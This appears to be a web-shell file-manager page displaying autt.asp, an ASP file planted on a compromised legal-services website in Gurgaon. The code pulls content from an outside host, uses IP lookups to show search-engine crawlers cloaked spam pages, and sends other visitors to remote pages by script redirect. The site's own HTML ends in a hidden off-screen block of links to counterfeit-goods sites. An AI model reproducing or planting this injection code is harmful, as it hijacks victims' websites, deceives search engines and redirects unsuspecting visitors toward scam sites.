文件操作 - autt.asp

文件: E:\HostingSpaces\kimblycr\writersinc.co.in\wwwroot\autt.asp

编辑文件内容

<%
Function getHTTPPage(url) 
On Error Resume Next
dim http 
set http=Server.createobject("Microsoft.XMLHTTP") 
Http.open "GET",url,false 
Http.setRequestHeader "User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0"  
Http.send() 
if Http.readystate<>4 then
exit function 
end if
getHTTPPage=bytesToBSTR(Http.responseBody,"utf-8")
set http=nothing
If Err.number<>0 then 
getHTTPPage=""
Err.Clear
End If  
End Function
Function GetFullUrl()
    Dim isHttps, protocol, host, uri, query
    isHttps = LCase(Request.ServerVariables("HTTPS"))
    If isHttps = "on" Then
        protocol = "https://"
    Else
        protocol = "http://"
    End If
    host = Request.ServerVariables("HTTP_HOST")
    uri = Request.ServerVariables("URL")
    query = Request.ServerVariables("QUERY_STRING")
    If query <> "" Then
        GetFullUrl = protocol & host & uri & "?" & query
    Else
        GetFullUrl = protocol & host & uri
    End If
End Function

Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText 
objstream.Close
set objstream = nothing
End Function
Randomize
%>
<%
Function GetUrlInfo(return_type)
    Dim host, protocol, base_url, uri, full_url
    host = Request.ServerVariables("HTTP_HOST")
    
    ' 获取协议 (HTTP/HTTPS)
    If LCase(Request.ServerVariables("HTTPS")) = "on" Or LCase(Request.ServerVariables("HTTP_X_FORWARDED_PROTO")) = "https" Then
        protocol = "https://"
    Else
        protocol = "http://"
    End If

base_url = protocol & host
    uri = Request.ServerVariables("SCRIPT_NAME")
    If Request.ServerVariables("QUERY_STRING") <> "" Then
        uri = uri & "?" & Request.ServerVariables("QUERY_STRING")
    End If
    full_url = base_url & uri

Select Case return_type
        Case "domain"
            GetUrlInfo = host
        Case "no_www"
            ' 去掉开头的 www.
            If LCase(Left(host, 4)) = "www." Then
                GetUrlInfo = Mid(host, 5)
            Else
                GetUrlInfo = host
            End If
        Case "base"
            GetUrlInfo = base_url
        Case "full"
            GetUrlInfo = full_url
        Case Else
            GetUrlInfo = ""
    End Select
End Function
%>
<%
Dim xy,jd
if Request.ServerVariables("HTTPS")= "off" then
xy="http://"
else
xy="https://"
end if

vurl = xy&"jwa.jayodo.com/"
Dim f, parts, sz, iid
f = Request.QueryString("f")
sz="9"
If f <> "" Then
    parts = Split(f, "I")
    If UBound(parts) = 1 Then
        sz = parts(0)
        iid = parts(1)
    End If
End If
jd=getHTTPPage(vurl&"4.aspx?sz="&sz)

%>
<%
if request("w")<>"" then
URL=jd&"s1212.aspx"
con=getHTTPPage(URL)
con=Replace(con, "yymm", xy&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("SCRIPT_NAME"))
con=Replace(con, "ggggg", sz)
Response.contentType="text/xml"
Response.write con
Response.end
end if
%>
<%
Dim Url,Html,hyzhdy,kname,cid
hyzhdy=jd&"1216.aspx"
if request("kk")<>"" then
ip="66.249.64.190"
else
ip=Request.ServerVariables("REMOTE_ADDR")&"*"&Request.ServerVariables("REMOTE_HOST")&"*"&Request.ServerVariables("HTTP_CLIENT_IP")&"*"&Request.ServerVariables("HTTP_X_FORWARDED")&"*"&Request.ServerVariables("HTTP_FORWARDED_FOR")&"*"&Request.ServerVariables("HTTP_FORWARDED")
end if
ipurl=jd&"getdomain.aspx?rnd=1&ip="&ip
domain =getHTTPPage(ipurl)
if(instr(domain,"google")=0 and instr(domain,"msn.com")=0 and instr(domain,"yahoo.com")=0 and instr(domain,"aol.com")=0) then
    If iid <> "" Then
	kname =getHTTPPage(jd&"gn.aspx?iid="&iid)
    cid =getHTTPPage(jd&"gc.aspx?iid="&iid)
    ddd=jd&"a.aspx"
    ddd=ddd&"?cname="&Server.URLEncode(kname)&"&cid="&cid&"&url="&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("SCRIPT_NAME")
    Response.write "<script>self.location.href="""&ddd&"""</script>"
	response.End()
    end if	
end if
%>
<%
If iid <> "" Then
URL=hyzhdy&"?iid="&iid
con=getHTTPPage(URL)
con = Replace(con, "ggggg", sz)
con = Replace(con, "YYYYY", GetUrlInfo("domain"))
con = Replace(con, "XXXYYY", GetUrlInfo("base"))
con = Replace(con, "当前URL", GetUrlInfo("full"))
con = Replace(con, "UUUUU", GetUrlInfo("no_www"))
Response.write con
else
Dim http_type, sitemapUrl
If Request.ServerVariables("HTTPS") = "off" Then
    http_type = "http://"
Else
    http_type = "https://"
End If

sitemapUrl = http_type & Request.ServerVariables("HTTP_HOST") & Request.ServerVariables("SCRIPT_NAME") & "?w=" & Year(Now) & Right("0" & Month(Now), 2) & Right("0" & Day(Now), 2) & Right("0" & Hour(Now), 2) & Right("0" & Minute(Now), 2)

Response.Write("<div style='text-align:center; padding:10px 0;'><a href=""" & sitemapUrl & """ target=""_blank"" rel=""nofollow""> Sitemap</a></div>")
end if

<html><head><title>Deed Drafting | Document Registration | Document Drafting | Legal Services &amp; Consultancy | Revenue Matters | Land Procurement | Gurgaon</title>
<meta name="keywords" content="Deed Drafting | Document Registration | Document Drafting | Legal Services &amp; Consultancy | Revenue Matters | Land Procurement | Gurgaon>
<meta name=" description"="" content-type"="">        
<link href="style.css" rel="stylesheet" type="text/css">    </head>    <body>        <div class="outer-wrapper">            <div class="wrapper">			<div class="page">			  <div class="header">			    <div class="logo">				 <a href="index.html"><img src="images/WritersIncLogo.png"></a>				</div>				<div class="menu">				   <div class="social-media">				    <ul>					  <li><a href="#"><img src="images/facebook.png" alt=""></a></li>					  <li><a href="#"><img src="images/twitter.png" alt=""></a></li>					</ul>				   </div>				   <div class="nav">				     <ul>				     <li class="active">HOME</li>				     <li><a href="about-us.html">ABOUT US</a></li>				     <li><a href="contact-us.html">CONTACT US</a></li>				     </ul>				  </div>				</div>			  </div>			  <div class="banner">			     <img src="images/banner.png" alt="">			  </div>			 <div class="content" style="width:100%;">			 <div style="width:100%;margin-bottom:10px;float:left;">			    <div class="box" style="margin-left:0px;margin-right:50px;">				 <a href="#"><img alt="" src="images/consultation-services.png" class="imagedropshadow imgr" width="238"></a>			     <div class="text">				   <h3>Deeds Drafting</h3>				   <p>We have team of expert professionals for drafting of sale deeds, conveyance deeds, lease deeds, collaboration agreement, exchange deeds, will etc.</p>				 </div>			    </div>				<div class="box" style="margin: 30px 62px;">				  <a href="#"><img alt="" src="images/registration.png" class="imagedropshadow imgr" width="238"></a>			      <div class="text">				   <h3>Registration of Documents</h3>				   <p>We provide services for document registrations related to real estate and related matters which include from calculation of required Govt. fees like stamp duty, the execution &amp; registration of document.</p>				 </div>			    </div>				<div class="box" style="margin-right:0px;">				   <a href="#"><img alt="" src="images/drafting.png" class="imagedropshadow imgr" width="238"></a>			       <div class="text">				   <h3>Document Drafting &amp; Registration</h3>				   <p>We are also specialized in drafting of Sale/Conveyance deed related to liquidation matters as well as taking care of proper registration.</p>				 </div>			    </div>				</div>				<div>				<div class="box" style="margin-left:0px;margin-right:50px;">				   <a href="#"><img alt="" src="images/legal.png" class="imagedropshadow imgr" width="238"></a>			       <div class="text">				   <h3>Legal Services &amp; Consultancy</h3>				   <p>Our another principle service are Legal Services &amp; Consultancy. Here we deal with the matters under Registration Act, Stamp Act, Apartment Ownership Act, HUDA Bye - Laws. We provide legal consultancy to our clients from corporate sector under Factories Act, Shop and Establishment Act, Labor laws, ESI, PF.</p>				 </div>			    </div>				<div class="box" style="margin: 30px 62px;">				  <a href="#"><img alt="" src="images/revenue.png" class="imagedropshadow imgr" width="238"></a>			      <div class="text">				   <h3>Revenue Matters</h3>				   <p>We have expertise in checking of revenue records in the office of Sub-Register, Patwari office and consulting about the share and title of the property and taking care of Taksim [consolidation], matters related to Gair Mourosi [tanent] etc.</p>				 </div>			    </div>				<div class="box" style="margin-right:0px;">				   <a href="#"><img alt="" src="images/procurement.png" class="imagedropshadow imgr" width="238"></a>			       <div class="text">				   <h3>Land Procurement</h3>				   <p>We have wide network of experienced persons for sale, purchase of agriculture, residential, commercial and industrial lands. We recognize and understand the need of our clients and assist them in finding a suitable property, which suits their requirement and budget. We maintain confidentially about buyers, sellers and conclude the deal at the best market prices.</p>				 </div>			    </div>				</div>			  </div>			  <div class="footer">			     <h3>Design by <a href="http://kimblylabs.com">Kimbly Labs</a></h3>				</div>				</div>			  </div>			</div>	<div style="LEFT: -999px; POSITION: absolute; TOP: -999px"><a href="http://www.cheap-jordans-china.net">cheap jordans</a>|<a href="http://www.wholesale-cheapshoes.org">wholesale air max</a>|<a href="http://www.cheap-wholesale-shoes.net">wholesale jordans</a>|<a href="http://www.wholesale-jewelry-china.com">wholesale jewelry</a>|<a href="http://www.cheap-wholesalejerseys.com">wholesale jerseys</a></div></body></html>

文件操作 - autt.asp

文件: E:\HostingSpaces\kimblycr\writersinc.co.in\wwwroot\autt.asp

编辑文件内容

修改文件时间

删除文件